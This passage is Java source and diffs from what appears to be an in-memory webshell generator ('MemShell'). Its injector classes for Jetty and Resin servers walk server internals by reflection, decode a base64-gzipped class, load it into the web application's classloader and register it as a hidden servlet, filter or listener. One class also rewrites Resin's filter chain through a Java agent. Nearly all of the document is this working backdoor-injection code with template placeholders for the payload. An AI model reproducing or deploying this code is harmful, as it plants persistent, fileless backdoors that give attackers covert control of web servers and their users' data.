}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
public void inject(Object context, Object servlet) throws Exception {
Object servletHandler = getWebApplicationHandler(context);
if (invokeMethod(servletHandler, "getServletHolder", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
return;
}
invokeMethod(
servletHandler,
"addServlet",
new Class[]{String.class, String.class, String.class},
new Object[]{getClassName(), getUrlPattern(), getClassName()});
}
@Override
public String toString() {
return msg;
}
/**
* org.mortbay.jetty.servlet.WebApplicationContext
*/
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
try {
Object contextClassLoader = invokeMethod(thread, "getContextClassLoader");
String name = contextClassLoader.getClass().getName();
if (name.endsWith("ContextLoader")) {
contexts.add(getFieldValue(contextClassLoader, "_context"));
}
} catch (Exception ignored) {
}
}
return contexts;
}
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader"));
} catch (Exception e) {
return ((ClassLoader) getFieldValue(context, "_classLoader"));
}
}
public Object getWebApplicationHandler(Object context) throws Exception {
try {
Object webApplicationHandler = invokeMethod(context, "getWebApplicationHandler");
if (webApplicationHandler != null) {
return webApplicationHandler;
}
} catch (Exception ignored) {
}
try {
Object webApplicationHandler = getFieldValue(context, "_webAppHandler");
if (webApplicationHandler != null) {
return webApplicationHandler;
}
} catch (Exception ignored) {
}
return getFieldValue(context, "_servletHandler");
}
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try {
clazz = classLoader.loadClass(getClassName());
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
}
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} finally {
if (gzipInputStream != null) {
gzipInputStream.close();
}
out.close();
}
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws NoSuchMethodException {
try {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (NoSuchMethodException e) {
throw e;
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
}
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -5,8 +5,9 @@ import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream; import java.io.PrintStream;
import java.lang.reflect.*; import java.lang.reflect.*;
import java.util.ArrayList;
import java.util.HashSet; import java.util.HashSet;
import java.util.Map; import java.util.List;
import java.util.Set; import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
@@ -43,7 +44,7 @@ public class JettyFilterInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null || contexts.isEmpty()) { if (contexts == null) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -85,61 +86,67 @@ public class JettyFilterInjector {
return; return;
} }
String[][] filterHolderClassNames = new String[][]{ String[] classNames = new String[]{
new String[]{"org.eclipse.jetty.servlet.FilterHolder", "org.eclipse.jetty.servlet.FilterMapping"}, "org.eclipse.jetty.servlet.FilterHolder",
new String[]{"org.mortbay.jetty.servlet.FilterHolder", "org.mortbay.jetty.servlet.FilterMapping"}, "org.eclipse.jetty.ee8.servlet.FilterHolder",
new String[]{"org.eclipse.jetty.ee8.servlet.FilterHolder", "org.eclipse.jetty.ee8.servlet.FilterMapping"}, "org.eclipse.jetty.ee9.servlet.FilterHolder",
new String[]{"org.eclipse.jetty.ee9.servlet.FilterHolder", "org.eclipse.jetty.ee9.servlet.FilterMapping"}, "org.eclipse.jetty.ee10.servlet.FilterHolder",
new String[]{"org.eclipse.jetty.ee10.servlet.FilterHolder", "org.eclipse.jetty.ee10.servlet.FilterMapping"}, "org.eclipse.jetty.ee11.servlet.FilterHolder",
new String[]{"org.eclipse.jetty.ee11.servlet.FilterHolder", "org.eclipse.jetty.ee11.servlet.FilterMapping"}, "org.mortbay.jetty.servlet.FilterHolder",
}; };
Class<?> filterHolderClass = null; Class<?> filterHolderClass = null;
Class<?> filterMappingClass = null;
for (String[] classNames : filterHolderClassNames) { for (String className : classNames) {
try { try {
filterHolderClass = context.getClass().getClassLoader().loadClass(classNames[0]); filterHolderClass = context.getClass().getClassLoader().loadClass(className);
filterMappingClass = context.getClass().getClassLoader().loadClass(classNames[1]);
} catch (ClassNotFoundException ignored) { } catch (ClassNotFoundException ignored) {
} }
} }
if (filterHolderClass == null || filterMappingClass == null) { if (filterHolderClass == null) {
throw new ClassNotFoundException("FilterHodler or FilterMapping not found"); throw new ClassNotFoundException("FilterHodler");
} }
Constructor<?> constructor = filterHolderClass.getConstructor(Class.class); Constructor<?> constructor = filterHolderClass.getConstructor(Class.class);
Object filterHolder = constructor.newInstance(filter.getClass()); Object filterHolder = constructor.newInstance(filter.getClass());
invokeMethod(filterHolder, "setName", new Class[]{String.class}, new Object[]{getClassName()}); invokeMethod(filterHolder, "setName", new Class[]{String.class}, new Object[]{getClassName()});
invokeMethod(servletHandler, "addFilterWithMapping", new Class[]{filterHolderClass, String.class, int.class}, new Object[]{filterHolder, getUrlPattern(), 1});
moveFilterToFirst(servletHandler);
invokeMethod(servletHandler, "invalidateChainsCache");
}
invokeMethod(servletHandler, "addFilter", new Class[]{filterHolderClass}, new Object[]{filterHolder}); private void moveFilterToFirst(Object servletHandler) throws Exception {
Object filterMaps = getFieldValue(servletHandler, "_filterMappings");
ArrayList<Object> reorderedFilters = new ArrayList<Object>();
int filterLength;
Object filterMapping = filterMappingClass.getConstructor().newInstance(); if (filterMaps.getClass().isArray()) {
invokeMethod(filterMapping, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()}); filterLength = Array.getLength(filterMaps);
invokeMethod(filterMapping, "setPathSpec", new Class[]{String.class}, new Object[]{getUrlPattern()}); for (int i = 0; i < filterLength; i++) {
invokeMethod(filterMapping, "setDispatches", new Class[]{int.class}, new Object[]{1}); Object filter = Array.get(filterMaps, i);
String filterName = (String) getFieldValue(filter, "_filterName");
Object[] mappings = (Object[]) invokeMethod(servletHandler, "getFilterMappings"); if (filterName.equals(getClassName())) {
Object[] newMappings = null; reorderedFilters.add(0, filter);
if (mappings == null || Array.getLength(mappings) == 0) { } else {
newMappings = (Object[]) Array.newInstance(filterMappingClass, 1); reorderedFilters.add(filter);
} else {
int length = Array.getLength(mappings);
newMappings = (Object[]) Array.newInstance(filterMappingClass, length + 1);
System.arraycopy(mappings, 0, newMappings, 1, length);
}
newMappings[0] = filterMapping;
invokeMethod(servletHandler, "setFilterMappings", new Class[]{Array.newInstance(filterMappingClass, 0).getClass()}, new Object[]{newMappings});
try {
invokeMethod(servletHandler, "invalidateChainsCache");
} catch (NoSuchMethodException e) {
Map[] _chainCache = (Map[]) getFieldValue(servletHandler, "_chainCache");
if (_chainCache != null) {
for (Map cache : _chainCache) {
if (cache != null) cache.clear();
} }
} }
for (int i = 0; i < filterLength; i++) {
Array.set(filterMaps, i, reorderedFilters.get(i));
}
} else if (filterMaps instanceof ArrayList) {
ArrayList<Object> filterList = (ArrayList<Object>) filterMaps;
for (Object filter : filterList) {
String filterName = (String) getFieldValue(filter, "_filterName");
if (filterName.equals(getClassName())) {
reorderedFilters.add(0, filter);
} else {
reorderedFilters.add(filter);
}
}
filterList.clear();
filterList.addAll(reorderedFilters);
} }
} }
@@ -181,19 +188,6 @@ public class JettyFilterInjector {
} }
} catch (Exception ignored) { } catch (Exception ignored) {
} }
// Winstone-Jetty: Launcher -> HostGroup -> HostConfigs -> webapps
try {
Object target = getFieldValue(thread, "target");
if (target != null && target.getClass().getName().contains("winstone.Launcher")) {
Map hostConfigs = (Map) getFieldValue(getFieldValue(target, "hostGroup"), "hostConfigs");
for (Object o : hostConfigs.values()) {
Map apps = (Map) getFieldValue(o, "webapps");
contexts.addAll(apps.values());
}
}
} catch (Throwable ignored) {
}
} }
return contexts; return contexts;
} }
@@ -110,8 +110,7 @@ public class JettyHandlerInjector {
if (entry != null) { if (entry != null) {
Object threadLocalValue = getFieldValue(entry, "value"); Object threadLocalValue = getFieldValue(entry, "value");
if (threadLocalValue != null) { if (threadLocalValue != null) {
if (threadLocalValue.getClass().getName().contains("HttpConnection") if (threadLocalValue.getClass().getName().contains("HttpConnection")) {
|| threadLocalValue.getClass().getName().contains("SelectChannelConnector")) {
return invokeMethod(invokeMethod(threadLocalValue, "getConnector"), "getServer"); return invokeMethod(invokeMethod(threadLocalValue, "getConnector"), "getServer");
} }
} }
@@ -29,7 +29,7 @@ public class JettyListenerInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null || contexts.isEmpty()) { if (contexts == null) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -98,19 +98,6 @@ public class JettyListenerInjector {
} }
} catch (Exception ignored) { } catch (Exception ignored) {
} }
// Winstone-Jetty: Launcher -> HostGroup -> HostConfigs -> webapps
try {
Object target = getFieldValue(thread, "target");
if (target != null && target.getClass().getName().contains("winstone.Launcher")) {
Map hostConfigs = (Map) getFieldValue(getFieldValue(target, "hostGroup"), "hostConfigs");
for (Object o : hostConfigs.values()) {
Map apps = (Map) getFieldValue(o, "webapps");
contexts.addAll(apps.values());
}
}
} catch (Throwable ignored) {
}
} }
return contexts; return contexts;
} }
@@ -5,8 +5,9 @@ import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream; import java.io.PrintStream;
import java.lang.reflect.*; import java.lang.reflect.*;
import java.util.ArrayList;
import java.util.HashSet; import java.util.HashSet;
import java.util.Map; import java.util.List;
import java.util.Set; import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
@@ -41,7 +42,7 @@ public class JettyServletInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null || contexts.isEmpty()) { if (contexts == null) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -110,20 +111,6 @@ public class JettyServletInjector {
} }
} catch (Exception ignored) { } catch (Exception ignored) {
} }
// Winstone-Jetty: Launcher -> HostGroup -> HostConfigs -> webapps
try {
Object target = getFieldValue(thread, "target");
if (target != null && target.getClass().getName().contains("winstone.Launcher")) {
Map hostConfigs = (Map) getFieldValue(getFieldValue(target, "hostGroup"), "hostConfigs");
for (Object o : hostConfigs.values()) {
Map apps = (Map) getFieldValue(o, "webapps");
contexts.addAll(apps.values());
}
}
} catch (Throwable ignored) {
}
} }
return contexts; return contexts;
} }
@@ -14,11 +14,9 @@ import java.util.zip.GZIPInputStream;
* @since 2025/3/26 * @since 2025/3/26
*/ */
public class ResinFilterChainAgentInjector implements ClassFileTransformer { public class ResinFilterChainAgentInjector implements ClassFileTransformer {
private static final String TARGET_CLASS = "com/caucho/server/dispatch/FilterFilterChain";
private static final String TARGET_METHOD_NAME = "doFilter"; private static final String TARGET_METHOD_NAME = "doFilter";
private static final String[] TARGET_CLASSES = new String[]{
"com/caucho/server/http/FilterChainFilter",
"com/caucho/server/dispatch/FilterFilterChain",
};
public static String getClassName() { public static String getClassName() {
return "{{advisorName}}"; return "{{advisorName}}";
} }
@@ -40,10 +38,8 @@ public class ResinFilterChainAgentInjector implements ClassFileTransformer {
inst.addTransformer(new ResinFilterChainAgentInjector(), true); inst.addTransformer(new ResinFilterChainAgentInjector(), true);
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) { for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
String name = allLoadedClass.getName(); String name = allLoadedClass.getName();
for (String targetClass : TARGET_CLASSES) { if (TARGET_CLASS.replace("/", ".").equals(name)) {
if (targetClass.replace("/", ".").equals(name)) { inst.retransformClasses(allLoadedClass);
inst.retransformClasses(allLoadedClass);
}
} }
} }
} }
@@ -52,24 +48,22 @@ public class ResinFilterChainAgentInjector implements ClassFileTransformer {
@SuppressWarnings("all") @SuppressWarnings("all")
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined, public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] bytes) { ProtectionDomain protectionDomain, byte[] bytes) {
for (String targetClass : TARGET_CLASSES) { if (TARGET_CLASS.equals(className)) {
if (className.equals(targetClass)) { defineTargetClass(loader);
defineTargetClass(loader); try {
try { ClassReader cr = new ClassReader(bytes);
ClassReader cr = new ClassReader(bytes); ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) { @Override
@Override protected ClassLoader getClassLoader() {
protected ClassLoader getClassLoader() { return loader;
return loader; }
} };
}; ClassVisitor cv = getClassVisitor(cw);
ClassVisitor cv = getClassVisitor(cw); cr.accept(cv, ClassReader.EXPAND_FRAMES);
cr.accept(cv, ClassReader.EXPAND_FRAMES); System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME);
System.out.println("MemShell Agent is working at " + targetClass.replace("/", ".") + "." + TARGET_METHOD_NAME); return cw.toByteArray();
return cw.toByteArray(); } catch (Exception e) {
} catch (Exception e) { e.printStackTrace();
e.printStackTrace();
}
} }
} }
return bytes; return bytes;
@@ -6,10 +6,7 @@ import java.io.IOException;
import java.io.PrintStream; import java.io.PrintStream;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.HashSet; import java.util.*;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
/** /**
@@ -42,7 +39,7 @@ public class ResinFilterInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null || contexts.isEmpty()) { if (contexts == null) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -139,11 +136,6 @@ public class ResinFilterInjector {
invokeMethod(urlPattern, "addText", new Class[]{String.class}, new Object[]{getUrlPattern()}); invokeMethod(urlPattern, "addText", new Class[]{String.class}, new Object[]{getUrlPattern()});
invokeMethod(urlPattern, "init", null, null); invokeMethod(urlPattern, "init", null, null);
invokeMethod(context, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMappingImpl}); invokeMethod(context, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMappingImpl});
List filterMappings = (List) getFieldValue(getFieldValue(context, "_filterMapper"), "_filterMap");
filterMappings.remove(filterMappingImpl);
filterMappings.add(0, filterMappingImpl);
invokeMethod(context, "clearCache", null, null); invokeMethod(context, "clearCache", null, null);
} }
@@ -201,25 +193,30 @@ public class ResinFilterInjector {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception { public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass(); try {
Method method = null; Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
while (clazz != null && method == null) { Method method = null;
try { while (clazz != null && method == null) {
if (paramClazz == null) { try {
method = clazz.getDeclaredMethod(methodName); if (paramClazz == null) {
} else { method = clazz.getDeclaredMethod(methodName);
method = clazz.getDeclaredMethod(methodName, paramClazz); } else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
} }
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
} }
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
} }
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -6,6 +6,7 @@ import java.io.IOException;
import java.io.PrintStream; import java.io.PrintStream;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.Arrays;
import java.util.HashSet; import java.util.HashSet;
import java.util.List; import java.util.List;
import java.util.Set; import java.util.Set;
@@ -37,7 +38,7 @@ public class ResinListenerInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null || contexts.isEmpty()) { if (contexts == null) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -181,25 +182,30 @@ public class ResinListenerInjector {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception { public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass(); try {
Method method = null; Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
while (clazz != null && method == null) { Method method = null;
try { while (clazz != null && method == null) {
if (paramClazz == null) { try {
method = clazz.getDeclaredMethod(methodName); if (paramClazz == null) {
} else { method = clazz.getDeclaredMethod(methodName);
method = clazz.getDeclaredMethod(methodName, paramClazz); } else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
} }
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
} }
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
} }
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -6,9 +6,7 @@ import java.io.IOException;
import java.io.PrintStream; import java.io.PrintStream;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.HashSet; import java.util.*;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
/** /**
@@ -42,7 +40,7 @@ public class ResinServletInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null || contexts.isEmpty()) { if (contexts == null) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -185,25 +183,30 @@ public class ResinServletInjector {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception { public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass(); try {
Method method = null; Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
while (clazz != null && method == null) { Method method = null;
try { while (clazz != null && method == null) {
if (paramClazz == null) { try {
method = clazz.getDeclaredMethod(methodName); if (paramClazz == null) {
} else { method = clazz.getDeclaredMethod(methodName);
method = clazz.getDeclaredMethod(methodName, paramClazz); } else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
} }
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
} }
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
} }
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -1,270 +0,0 @@
package com.reajason.javaweb.memshell.injector.resin2;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashSet;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
* @since 2026/7/4
*/
public class Resin2FilterInjector {
private static String msg = "";
private static boolean ok = false;
public String getUrlPattern() {
return "{{urlPattern}}";
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() throws IOException {
return "{{base64Str}}";
}
public Resin2FilterInjector() {
if (ok) {
return;
}
Set<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) {
try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context);
inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
ok = true;
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(context, "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
addContextFromClassLoader(contexts, Thread.currentThread().getContextClassLoader());
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
try {
addContextFromClassLoader(contexts, thread.getContextClassLoader());
} catch (Throwable ignored) {
}
}
return contexts;
}
private void addContextFromClassLoader(Set<Object> contexts, ClassLoader classLoader) {
Object context = getApplicationFromClassLoader(classLoader);
if (context != null) {
contexts.add(context);
}
}
private Object getApplicationFromClassLoader(ClassLoader classLoader) {
while (classLoader != null) {
try {
Object context = invokeMethod(classLoader, "getAttribute", new Class[]{String.class}, new Object[]{"caucho.application"});
if (context != null && "com.caucho.server.http.Application".equals(context.getClass().getName())) {
return context;
}
} catch (Throwable ignored) {
}
classLoader = classLoader.getParent();
}
return null;
}
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) {
return ((ClassLoader) getFieldValue(context, "_classLoader"));
}
}
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try {
clazz = classLoader.loadClass(getClassName());
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
}
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
}
private void inject(Object context, Object filter) throws Exception {
Map<String, Object> filters = (Map) getFieldValue(context, "_filters");
for (String key : filters.keySet()) {
if (key.contains(getClassName())) {
return;
}
}
ClassLoader loader = context.getClass().getClassLoader();
Class<?> applicationClass = loader.loadClass("com.caucho.server.http.Application");
Class<?> qFilterConfigClass = loader.loadClass("com.caucho.server.http.QFilterConfig");
Class<?> registryNodeClass = loader.loadClass("com.caucho.util.RegistryNode");
Object filterConfig = newInstance(
qFilterConfigClass,
new Class[]{applicationClass, String.class, String.class, registryNodeClass},
new Object[]{context, getClassName(), getClassName(), null});
filters.put(getClassName(), filterConfig);
List filterList = (List) getFieldValue(context, "_filterList");
if (filterList != null && !filterList.contains(filterConfig)) {
filterList.add(filterConfig);
}
Class<?> filterMapClass = loader.loadClass("com.caucho.server.http.FilterMap");
Object filterMap = newInstance(filterMapClass, new Class[0], new Object[0]);
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class, String.class}, new Object[]{getUrlPattern(), ""});
invokeMethod(filterMap, "setData", new Class[]{Object.class}, new Object[]{filterConfig});
List filterMaps = (List) getFieldValue(context, "_filterMap");
synchronized (filterMaps) {
filterMaps.add(0, filterMap);
}
invokeMethod(context, "clearCache", null, null);
}
private static Object newInstance(Class<?> clazz, Class<?>[] paramClazz, Object[] param) throws Exception {
Constructor<?> constructor = clazz.getDeclaredConstructor(paramClazz);
constructor.setAccessible(true);
return constructor.newInstance(param);
}
@Override
public String toString() {
return msg;
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} finally {
if (gzipInputStream != null) {
gzipInputStream.close();
}
out.close();
}
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
